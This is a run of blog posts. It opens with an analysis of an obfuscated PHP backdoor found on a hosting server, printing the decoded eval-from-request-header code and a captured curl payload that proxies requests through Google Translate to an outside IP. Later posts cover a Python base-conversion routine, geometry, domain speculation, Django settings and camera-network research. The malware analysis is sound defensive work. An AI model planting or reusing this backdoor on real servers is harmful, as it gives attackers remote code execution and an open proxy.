I have to give it to them, at least they obfuscated the code. It took a while before I realized the extent of their hidden code. Unobfuscating this file gives us:

$_fcxxxcc="preg_replace";
preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.')

Base 64 decoding this string gives us:

if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b'  and isset($_SERVER['HTTP_X_CODE']))
    @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])));

Finally, we’re getting somewhere!

Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system. But, what kind of payload are they sending to their script? Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for. After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):

header("X_GZIP: TRUE");
header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17");
error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init();
curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15;
curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9")));
/* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&amp;T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&amp;sl=en&amp;tl=fr&amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */
curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:"";
curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=")));
// s:140:"http://translate.google.com/translate?hl=en&amp;sl=en&amp;tl=fr&amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";
$response=curl_exec($cr);
$md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info");
if(is_bool($response) and $response == false) {
    echo "&lt;$md5_error&gt;".curl_errno($cr)."|".curl_error($cr)."";
    exit;
}
echo "&lt;$md5_info&gt;".serialize(curl_getinfo($cr))."";
if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){
    $response="GZIP|".base64_encode(gzdeflate($response,9));
}
echo "&lt;$md5_content&gt;$response";
exit;

The definition of the curl_setopt call is as follows:

bool curl_setopt ( resource $ch , int $option , mixed $value )

Let’s break down all of the Curl options we are setting here. Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:

Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
Option 19913 (CURLOPT_RETURNTRANSFER => “1″): Returns the value of curl_exec as a string.
Option 42 (CURLOPT_HEADER => “1″): Includes the header in the output.
Option 53 (CURLOPT_TRANSFERTEXT => “1″): Uses ASCII mode for FTP transfers.
Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
Option 19914 (CURLOPT_BINARYTRANSFER => “1″): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
Option 64 (CURLOPT_SSL_VERIFYPEER => “1″): Verifies the site’s SSL certificate to be valid.
Option 81 (CURLOPT_SSL_VERIFYHOST => “1″): Verifies the correct SSL hostname for the certificate.
Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
- “Accept: */*”: Specifies that all media is acceptable for response from the HTTP request
- “Accept-Language: en-us”: Specifies that we are looking for an English return.
- “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
- “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
- “Expect: “: Indicates that no behavior is required by the client.
- “Accept-Encoding: “: Indicates that we accept all encoding.
- “Keep Alive: 115″: Sets a keep-alive timeout of 115.
- “Referer: <cut for clarity: see in source above>”: Sets a seemingly bogus referer, although this may be legit in some cases.
Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
Option 10002 (CURLOPT_URL): Sets the URL to fetch.

If you would like to see a mapping of integer=>constant name for the curl curl options in PHP, you can find that here.

It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language. In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.

I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.

References and Attributions:

PHP: curl_setopt
RFC2616: Hypertext Transfer Protocol — HTTP/1.1
Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.

Algorithms in Python: Base Expansion

2010-07-11T00:53:49+00:00

I felt it would be helpful to folks interested in Python and studying algorithms, to review some commonly studied algorithms in Computer Science by providing a small description and a Python implementation of each algorithm.

This week, we’ll cover an introductory algorithm for converting from one numeral base to another. Here is the python code:

"""Simple implementation of a base expansion algorithm"""
 
import math
 
def base_expand(base, val):
    """This simple function performs a base-expansion from decimal
    using moduli and a translation table. The translation table is
    a clear limitation here, in that it implies the maximum base
    is 36."""
 
    if (base < 2) or (base > 36):
        raise BaseOutOfBoundsError(base)
 
    trans_table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    res = ''
 
    while val != 0:
        res += trans_table[(int(val % base))]
        val = math.floor(val / base)
    return res[::-1]
 
class BaseOutOfBoundsError(Exception):
    """Base must be between 2 and 36"""
    def __init__(self, val):
        self.val = val
    def __str__(self):
        print "\nInvalid base: %s. Base must be (x | x > 1; x < 37)" % \
            self.val

Here is a unit-test for base_expand.py:

"""Unit tests for base_expansion.py"""
 
import unittest
from base_expansion import base_expand, BaseOutOfBoundsError
 
# Unit tests for base_expansion.py
class TestVals(unittest.TestCase):
    """Test suite"""
 
    def test_known_values(self):
        """Testing against known values"""
 
        vals = [{'val': 8, 'base': 2, 'expect': '1000'},
            {'val': 915652, 'base': 16, 'expect': 'DF8C4'},
            {'val': 256, 'base': 10, 'expect': '256'},
            {'val': 88189, 'base': 8, 'expect': '254175'}]
 
        for val in vals:
            self.assertEqual(val['expect'], \
                base_expand(val['base'], val['val']))
 
    def test_invalid_base(self):
        """ Testing invalid bases """
 
        bases = [1, 37, 50, 100]
        for base in bases:
            self.assertRaises(BaseOutOfBoundsError, base_expand, \
                base, 1)
 
 
 
if '__main__' == __name__:
    unittest.main()

Rotating Lines

2010-06-28T13:28:38+00:00

Problem:

Given a line of slope m in the Euclidean plane, what is the slope m’ of the line rotated (counterclockwise) by angle θ?

Solution:

Suppose we have an equation for the line of the form y = mx + b. We can ignore b as it is unrelated to the slope (in effect, we are working in an affine space).

So, y = mx for our purposes. Every point satisfying this equation is a multiple of

and, similarly, every point satisfying the equation y = m’x of the rotated line is a multiple of

Since the latter point is the image of the former after rotation by θ, the points are related by a rotation matrix, like so:

Solving for m’ then yields

which, of course, is our solution in terms of m and θ.

So Close, Yet So Far Away

2010-06-15T20:01:17+00:00

I humbly entreat any analytical intellects of greater constitution than my own (of which, to be sure, there is no dearth) to enlighten me in matters mathematical.

First of all, if I have a 5-dimensional space which consists of a 3-dimensional Euclidean space plus direction (defined by inclination and azimuth) — that is, the set of vectors where , , and — what is that called? Of course, this generalizes to a (2p – 1)-dimensional space with a p-dimensional Euclidean spatial component. I have been calling fuzzy subsets of this space spatial-directional fuzzy sets, but spatial-directional space sounds patently ridiculous.

Second, is it possible to define a useful distance metric in such a space? Chaudhuri and Rosenfeld generalize the Hausdorff distance to arbitrary fuzzy subsets of a metric space, but this is of little use to me if my universal space is not metric. The natural way to define distance between two directions is to use the angle between the corresponding vectors, or similarly a norm on the surface of a torus. The obvious problem is that the numbers used for space and angle bear no relation to one another, so it seems nonsensical to combine them in a single metric (scaling and other such hackery need not apply). Yet, configuration spaces with similar discord among the units of their dimensions abound in engineering. Surely someone has tried to do something like this before?

Double Dipping into Domaining

2010-06-04T05:33:44+00:00

When I first read Andrew Badr‘s post on his tests with domain squatting^W speculation, I was immediately interested in the methods that he used. Having checked out multiple domain speculation websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.

Coincidentally, I have been reading up on Python lately and have become pretty interested in the language. For my first script implementation, I decided to explore the 4,4 space in English word .com domains. I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.

Andrew used a method that included some manual work, which I wanted to avoid. I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case. I ended up with 3903 4-letter English words. This space (3903^2) was far too large to start sending queries out, and also too large to manually edit. What to do?

I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was. After inserting each word and it’s relevance into a simple MySQL table, I was ready to begin hammering away to see what was available for registration.

Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database. According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.

The results are pretty interesting, with many (what I would consider) top-term .com domains available. Here are some of my favorites quickly off of the file (inb4registration):

thisholy.com
thatecho.com
homehide.com
homemeet.com
havethem.com

Can we do better? Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix. Tomorrow I will try using this information as a factor to my current heuristics. I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable). If you have any methods for improvement, I would like to hear them as well. Leave a note in the comments section.

If there’s any interest, I will post my full list (it’s hosted on my home computer). There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.

Ubuntu Netbook Edition

2010-05-28T20:42:58+00:00

Tags:

wuug

So my diminutive Acer Aspire One is now running Ubuntu Netbook Edition and seems to like it, although the initial two tries at installing it failed utterly. The second failure was the worst as the system seems to have gotten stuck in a swap storm. It had been installed but was running very slowly, and then had to rush off elsewhere --- on returning a couple of hours later it was writing to the SSD like mad and completely unresponsive. Only a magic SysRq key could give me my system back so I rebooted and only then remembered I had left it doing a software update --- oops, no kernel! How can an installer only a few days old be so out of date? I had reused some existing partitions in the installer, but not their contents, so I have no idea what the difference was between the final successful install and the disaster immediately before it. Indeed, I expected the final install to be as bad as the others --- I can't remember what I hoped to achieve. Surprisingly the third time worked like a charm. Very odd. Moblin was running out of steam and they didn't have numpy packaged so I jumped ship ... the day before Meego came out! Talk about timing! Still I don't expect Meego 1.0 is very stable, nor does it possess the pygtk and numpy libraries I want.

The Predecessor to Twitter

2010-05-25T16:08:25+00:00

In an otherwise generally unremarkable piece in the April 2010 issue of Usenix’s login; magazine (pp. 70-71) listing goofy fake protocols, Robert Ferrell has this gem:

Internet Chaff Relay: The short-lived predecessor to Twitter

The Road To Here

2010-05-23T15:15:57+00:00

In my M.A.Sc. work on stereo camera network calibration, I made use of a series of graphs to describe the relationships between nodes. Existing work had already produced the vision graph and what I will call the transition graph (after Farrell and Davis‘ transition model). In both graphs, each vertex represents a node (camera or camera pair, usually) in the multi-camera network.

The Vision Graph

In a typical sensor network, the sensing modality is simple and omnidirectional, and thus adjacency is a function of proximity. A consequence of this is that the sensing graph is usually a subset of, equal to, or a superset of the communication graph. Therefore, it is usually possible to cheat by initializing the sensing graph model using either physical topology (from, say, GPS) or communication topology.

Camera networks break from this in that their sensing modality is complex and directional, so sensing adjacency has relatively little to do with communication adjacency. Devarajan and Radke realized this early on, and proposed the vision graph. An edge in the vision graph represents information about shared field of view between the two nodes represented by its vertices; there is an edge wherever there is significant overlap of the observed scene. But what does significant mean? Assuming we’re referring to a classic, unweighted graph for the moment, in order for it to be useful, significant must mean that there is sufficient overlap that we can – or at least, that it is reasonable to expect that we could – achieve whatever task is intended for the shared data.

Since every published use of the vision graph I am aware of is a calibration application, let’s talk about that. Originally, Devarajan and Radke had to specify the vision graph manually a priori in order to use it for calibration; a follow-up with Cheng proposed a method to build it by propagating digests of SIFT features from the various images to other nodes. I myself only used it in concept, as a theoretical upper limit for the final calibration graph.

Now, for a digression…

The Transition Graph

Meanwhile, folks working on surveillance and tracking applications were also using a graph formalism – well, in most cases, a reflexive binary relation on the set of nodes that translates trivially into a graph formalism. An edge in the transition graph represents a different, although related, kind of adjacency between the two nodes represented by its vertices: the possibility of a target moving from the field of view of one node to that of the other. This, of course, includes overlapping fields of view, but importantly, it also extends to the non-overlapping case.

It quickly became clear to someone that it was worthwhile to represent not just the possibility, but the probability, of a transition. This may have been an obvious consequence of some of the methods used to actually determine this graph or relation – for example, Marinakis et al. used a Monte Carlo expectation-maximization method, and Farrell and Davis used sequential Bayesian estimation, both probability-oriented. Though intended to properly capture the information presented, it turns out that weighting the graph with these probabilities allows for some good optimization when it comes time to do predictions or camera hand-offs.

The Fuzzy Vision Graph

Seeing this, we thought, what if we similarly retain the uncertainty in the vision graph (rather than thresholding it out on an task-specific basis, as in all prior work) and put it to work optimizing calibration and other applications? Probability is, in general, ill-suited to the job, because we aren’t talking about transitions here. So, we considered another representation of uncertainty: fuzzy sets. A graph is an ordered pair of a set of vertices and a set of edged ; a fuzzy graph (in most definitions) is simply a generalization where and are fuzzy sets.

One nice thing immediately apparent is that, with the inherent, well, fuzziness of fuzzy graphs, there’s no longer any need to set task-specific thresholds in advance when constructing the model; instead of summarily judging whether overlap is significant, we simply capture the degree of significance, which if we really want can be thresholded later via task-specific alpha cuts. Beyond this, a number of opportunities for automatically optimizing various tasks in more advanced ways presented themselves as I poked at the idea. (This is the time when FuzzPy was born.)

The major problem, so far, is that there is no real understanding of what the ideal fuzzy vision graph actually represents. We can build them in various ways: using feature digests like Cheng, for example. But in order to decouple the practical optimization research from the practical modeling research, we need some definition of what a perfect vision graph for a camera network actually is.

Modeling Camera Network Coverage

To approach the problem of modeling the topology of camera coverage overlap, what is really needed is a proper model of camera network coverage. Much of the existing work on this has been developed specifically for optimal camera placement algorithms; it provides some inspiration, but as these models are rather simplistic (discrete, two-dimensional, triangular in shape, etc.) they don’t provide much in the way of an ideal model. Delving deeper, some decades-old work on task-oriented camera placement by Cowan and Kovesi provides an idea for a more realistic model of camera coverage, if you invert it, but is only for single cameras and uses task-specific thresholds.

Coverage, like overlap in the vision graph, is an imprecise concept when it is not tied to a specific task. Hence, fuzzy sets once again presented themselves as a possible framework for the representation: one can assign a membership degree in the set of covered points to every point in three-dimensional Euclidean space. Like Cowan and Kovesi, I identified visibility, focus, and resolution as the major factors in single-camera coverage (in the absence of a priori scene knowledge), developed “trapezoidal” fuzzy sets for each, then combined them via algebraic product fuzzy intersection to get a complete model that, given the intrinsic parameters of a camera and a couple of intuitive application (not necessarily single-task) parameters, would tell me how well any point in its local 3-space is covered. This is called the fuzzy coverage model.

It becomes evident that a fourth factor, direction, is needed when looking at the multi-camera case, where cameras are situated in a common coordinate system based on their extrinsic parameters, and we are interested in part in their field-of-view overlap. If two cameras face the same general volume of space, but from opposite sides, is the volume in common covered by both cameras? If you’re tempted to think yes, consider a task such as feature matching. Cameras can only see opaque surfaces with normals in the interior half-space defined by a plane tangent to the point in question and perpendicular to the principal axis. Furthermore, a number of studies have shown that, in practice, feature matching performance degrades over rotation of the viewpoint. Thus, if we extend our three-dimensional concept of space to include direction as well, making the fuzzy coverage model 5-dimensional, we consider points at the same location in 3-space but with different direction not the same point at all. Some geometry and a fuzzifying parameter gives us another component fuzzy set for the single-camera model, which we can incorporate by algebraic product intersection.

Another major consideration for the multi-camera case, which various work on camera network topology and placement optimization has attempted to tackle, is occlusion from the static scene. This may be known a priori (e.g. CAD layout of a building) or estimated by the camera network itself. It is possible to do this in continuous space, like Tarabanis et al., and so ideally you’d have a complete 3D model of the unoccluded field of view for each camera, and all other points have . However, the complexity seems prohibitive in practice for large camera networks. If we instead move to a discrete representation of the fuzzy coverage model, we can do what I did: make the scene finite, mark a subset of its voxels opaque, then use the voxel traversal of the line from a given point to the principal point of the camera to determine whether it is occluded (i.e. if the traversal includes any opaque voxels).

The easy part is the total network coverage. For simple multi-camera networks, where one camera covering a point (remember, we account for direction implicitly) is enough, simply combine all the appropriately transformed, discretized, and occlusion-ified single-camera coverage models together via standard fuzzy union. For 3D multi-camera networks, where we want at least two cameras covering a point, first generate a coverage model for each pair of cameras via standard fuzzy intersection on the pair, then combine all these via union.

Okay, now what?

This is about where I’m at. There’s plenty more that could be done with the fuzzy coverage model itself: solving the optimal camera placement problem in new and exciting ways is one really obvious possibility that I talk about in an upcoming paper.

As far as getting back to the graph stuff, I defined an overlap metric involving the scalar cardinality, which could be used to derive the fuzzy vision graph from the discrete fuzzy coverage model; this is significant in that it indicates a direct link from the values of the edges all the way back to the basic parameters of the camera network and the scene (and we know where all the simplifications are). Even better, though, might be something more analytic and general, like using something along the lines of the Hausdorff distance between two cameras’ coverage models, which might not only allow us to find the fuzzy vision graph, but also start unifying it with the non-overlapping concept of the transition graph.

Back to the future…

Old(ish) Computing Memories (1993?-1999)

2010-04-22T16:22:16+00:00

While the 90′s may seem like a long time ago for some, in the broader perspective, I came to the computing world quite late.

My first computer was a 486 system that my brother gave me some time in the early to mid 1990′s (most likely 1993 or 1994). It was running DOS, Win3.1, and OS/2. My introduction to computer literacy was mainly driven by my desire to figure out how to run games on the system. I don’t remember all of the games, but two in particular were Spear of Destiny (a spin-off of of the shooter Wolfenstein) and NHL 93 (and EA Sports hockey game). With this motivation to learn about the computer, I quickly picked up new things.

On the grand scale of computing history, this was before e-mail caught up with postal mail in volume, right around when Red Hat Linux was introduced, right around when Mosaic released their web browser, and a few years before Apple had a product called “Mac OS”.

It wasn’t too long before I was introduced to the more social aspects of the computing subculture. A friend introduced me to the concept of Bulletin Board Systems (BBS) and I quickly became hooked to that too. The best way to describe the BBS scene is perhaps as a localized Internet. A BBS was a little system that someone would run from their home and you could dial into it. A whole subculture developed. A BBS would usually have functionality to chat, post messages, upload/download files, play games, etc.

Again, I must stress that I was a later-comer on the BBS scene. When I entered it, the BBS scene was probably somewhere slightly past its prime and starting its decline (or, according to some, already well into it’s decline). My first modem was technically a 2400 baud modem, but that device was so quirky that I never really did much with it. So very soon I jumped up to a 14.4 modem, which seemed fast at the time but is really unbelievably slow.

I called a bunch of BBS systems, possibly around 100 or more. Many friendships formed through this medium, although they were probably not completely deep. I was pretty much a regular on the scene until 1999, when the scene had already pretty much died out. Where there were once hundreds of BBS’ in the Windsor area, at that point there were only 5 or 10. Though I never really ran a full-time BBS, I was quite involved in the scene. I ran a couple of part time BBS’ and was co-sysop (assistant admin) of at least 3 boards. I was co-sysop of Champagne’s Island, Genesis, and Eternal Dreams. I called many a number of system and was thoroughly immersed in the underground BBS scene.

For those interested, here are some of the BBS’ I called besides the ones that have already been mentioned: The Dynamite BBS, Windsor Footnote, Windsor Download, Czar’s Land, The Beacon, Second Sinister, Windsor ITC, Body Count BBS, The Abyss, Limbo BBS, Purple Haze, The Outhouse, The Kombatant, and The Swamp.

Just as things in the BBS scene began to fade away, I ran a low-resolution (ANSI/ASCII) art group which had five releases (one of which was released in my absence after I disappeared from the scene). There are so many other memories, aspects to this, much of which is probably not very well preserved or accessible. For all the efforts to relive the past, such as the BBS Documentary, there are still large black holes in the records. Much of this past, even from the early to mid 1990′s, has simply disappeared off the map, so to speak. It might be a good thing in some ways, and a bad thing in others ways. Some of it here will return back here and there, but for the most part it is gone for good. It seems enough hard drives have died or been erased and memories forgotten in order for much of this socio-cultural history to disappear. And anything that is unearthed will be a small sliver of the whole narrative of what went on.

While “cyberspace” certainly has evolved since then, many things for the better, there’s clearly something different now, and, I think, something lost. But as a whole, I don’t think I’d go backwards if I could. Technological change changes us, and nostalgia aside, we are not the same sort of people that enjoyed in the BBS scene back in the 80′s and 90′s.

Django Context Processors Best Practice

2010-04-08T00:59:39+00:00

In this post, i’ll show you a simple trick to ensure your Django context-processors don’t break when Django 1.2 (and possibly future releases as well) is released.

If you’re not familiar with the concept of context-processors, I’ll also explain what those are and how they work, so don’t panic. Finally, i’ll also spend a minute explaining why I consider this to be best-practice.

What are template context processors?

Django’s context processors are a facility that allows you to provide data and callbacks to your templates.

You can do so in one of two ways:

On an individual request basis: by passing a custom Context value to your render_to_response() call
Globally: by creating a context processor method that accepts a HttpRequest object as input, and returns a payload or callback, then registering the context processor in your settings.py, then providing your render_to_response() call with the built-in RequestContext attribute instead of your own (you can always extend RequestContext to add more data on an individual request basis of course).

If that approach for passing data to templates sounded absurd and obfuscated to you, you’re not alone. The complexity involved in such a simple operation is unwarranted and counter-productive, but every system has its shortcomings.

The Issue

If you follow the Django documentation or The Django Book‘s approach to configuring your own custom context-processors, you’ll notice that you are encouraged to add to your settings.py a hardcoded list of built-in context processors. If you follow that approach, your context-processors declaration will look like this:

TEMPLATE_CONTEXT_PROCESSORS = ("django.contrib.auth.context_processors.auth",
"django.core.context_processors.debug",
"django.core.context_processors.i18n",
"django.core.context_processors.media",
"django.contrib.messages.context_processors.messages")

But if you pay close attention to the development version’s documentation, you’ll notice a couple of interesting notes:

Changed in Django Development version: “django.contrib.messages.context_processors.messages” was added to the default. For more information, see the messages documentation.
Changed in Django Development version: The auth context processor was moved in this release from its old location django.core.context_processors.auth to django.contrib.auth.context_processors.auth.

This is a red flag! The Django dev team would like you to use hardcoded values that reference to classes that will no longer exist once the next version is released, and that omit new processors that you are likely to require.

The Solution

Obviously Django has access to its own default settings, so there must be a way to simply extend the defaults instead of overriding them with hardcoded values. You just need to dig around a bit in the Django source code to find exactly how. I’ll save you some digging:

Add this at the top of your settings.py file:

import django.conf.global_settings as DEFAULT_SETTINGS

Then extend the default context processors:

TEMPLATE_CONTEXT_PROCESSORS = DEFAULT_SETTINGS.TEMPLATE_CONTEXT_PROCESSORS + (
"myapp.context_processors.example",
"myapp.context_processors.other_example",
# etc...
)

Why is this a best-practice approach?

In software-engineering, you want to ensure maximum (reasonable) future interoperability of all your components, and there is really no component as important as your actual development framework, Django or otherwise.

Using hardcoded values that are already defined somewhere not only breaks DRY, but it also introduces possible breakage on framework upgrades. I know you are diligent and always read the release notes before upgrading critical components, and I know you use a staging environment to test those changes, but by actively looking out for this kind of traps, you have just saved yourself some debugging time and some head-scratching.

Happy coding!

No related posts.

Axes of Evil

2010-03-23T01:22:46+00:00

A quick and dirty set of 3D axes for Visual:

from visual import arrow, cylinder
 
def visual_axes( scale ):
    """\
    Display a set of 3D axes.
 
    @param scale: The scale of the axis set.
    @type scale: C{float}
    """
    for axis in [ tuple( [ i == j and scale * 5 or 0 for i in range( 3 ) ] ) \
                  for j in range( 3 ) ]:
        arrow( pos = ( 0, 0, 0 ), axis = axis, shaftwidth = scale / 10.0 )
 
    cylinder( pos = ( ( scale * 6.0 ), -( scale / 4.0 ), 0 ),
              axis = ( -( scale / 2.0 ), ( scale / 2.0 ), 0 ),
              radius = scale / 20.0 )
    cylinder( pos = ( scale * 5.5, -( scale / 4.0 ), 0 ),
              axis = ( ( scale / 2.0 ), ( scale / 2.0 ), 0 ),
              radius = scale / 20.0 )
 
    cylinder( pos = ( 0, ( scale * 5.5 ), 0 ),
              axis = ( 0, ( scale / 4.0 ), 0 ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, ( scale * 5.75 ), 0 ),
              axis = ( -( scale * 0.17 ), ( scale / 4.0 ), ( scale * 0.17 ) ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, ( scale * 5.75 ), 0 ),
              axis = ( ( scale * 0.17 ), ( scale / 4.0 ), -( scale * 0.17 ) ),
              radius = scale / 20.0 )
 
    cylinder( pos = ( 0, -( scale / 4.0 ), ( scale * 6.0 ) ),
              axis = ( 0.0, ( scale / 2.0 ), -( scale / 2.0 ) ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, -( scale / 4.0 ), ( scale * 6.0 ) ),
              axis = ( 0.0, 0.0, -( scale / 2.0 ) ),
              radius = scale / 20.0 )
    cylinder( pos = ( 0, ( scale / 4.0 ), ( scale * 6.0 ) ),
              axis = ( 0.0, 0.0, -( scale / 2.0 ) ),
              radius = scale / 20.0 )

Yep, this is how I’m validating my geometry module by eye.

Topology, To What End?

2010-03-19T16:04:12+00:00

There have been a number of approaches to build topological models of multi-camera networks. The idea is to represent, in some useful and relatively simple mathematical way, the relationship — usually meaning the overlap — between the fields of view of the cameras. To date, it seems as though all such methods fall into two basic types.

On one hand, we have the motion-based methods, which are typically targeted at tracking applications. Ellis et al. temporally correlate objects transiting between adjacent fields of view, after establishing each camera’s entry and exit zones. Similarly, Mandel et al. correlate simultaneous motion between views to establish overlap. Detmold et al. propose the exclusion algorithm, which is basically the opposite and potentially more robust: if there is motion in one view, and not in another, then those views cannot overlap (initially all views are assumed to overlap). Farrell and Davis present a slightly different model, dubbed the transition model, which focuses even more on tracking as it expresses the probability of transitions between views; this is also determined from observations of motion.

On the other hand, we have the feature-based methods, typically used as a precursor to or substitute for multi-camera calibration. Devarajan and Radke first proposed the vision graph without specifying an automated means of obtaining it; they later approached this topic in Cheng et al. using distributed matching of SIFT features. Kurillo et al. also use common features to build their vision graph for calibration. In my ICDSC 2008 paper, the vision graph is a theoretical upper limit for the grouping and calibration graphs, which are built from 3D feature matches via registration. Kulkarni et al. use a calibration target to explicitly match spatial points, and build an actual tessellation of 3D space to represent the range and degree of overlap of the cameras’ fields of view. Finally, Lobaton et al. use scene features (in their case, bisecting lines indicating wall delineations) to construct their algebraic topological model, which is proposed as a substitute for full calibration in certain (unspecified) secondary applications.

So is generic topological information about multi-camera networks only useful for tracking and calibration, the two problem areas that appear to have spawned every topological model in the literature? Are there any other applications that simply don’t have any convenient information of their own for building such models?

Snap To Grid

2010-03-17T15:33:48+00:00

I like Gabor Herman‘s definition of discrete Euclidean space. He defines, for any positive real number and any positive integer :

This chops N-space up into a square (cubic, etc.) Bravais lattice, with primitive vectors of magnitude . Each point in the discrete space is then associated with a primitive cell (or Voronoi neighbourhood, in Herman’s parlance) consisting of all points in the associated continuous space which are closer to that discrete point than any other discrete point.

This relationship to continuous space makes discretization of otherwise continuous sets — or regions, as say the GIS people — a snap (pun intended). In the simplest case, it is equivalent to basic sampling.

In 3-space, these are essentially voxels, which are intuitive for visual thinkers like me, and allow for neat tricks from the computer graphics literature like voxel traversals

Pi Day Madness

2010-03-15T01:10:35+00:00

You have a right-handed Cartesian coordinate basis of a three-dimensional Euclidean space, with axes , , and . You’re given some spatial-directional vectors of the form , where and are, respectively, the inclination angle (from the positive -axis zenith) and the azimuth angle (measured right-handed from the positive -axis) of an associated direction, which is unrelated to the direction of vector . How do you tell if the direction of such a vector falls inside the exterior half-space defined by the plane normal to ?

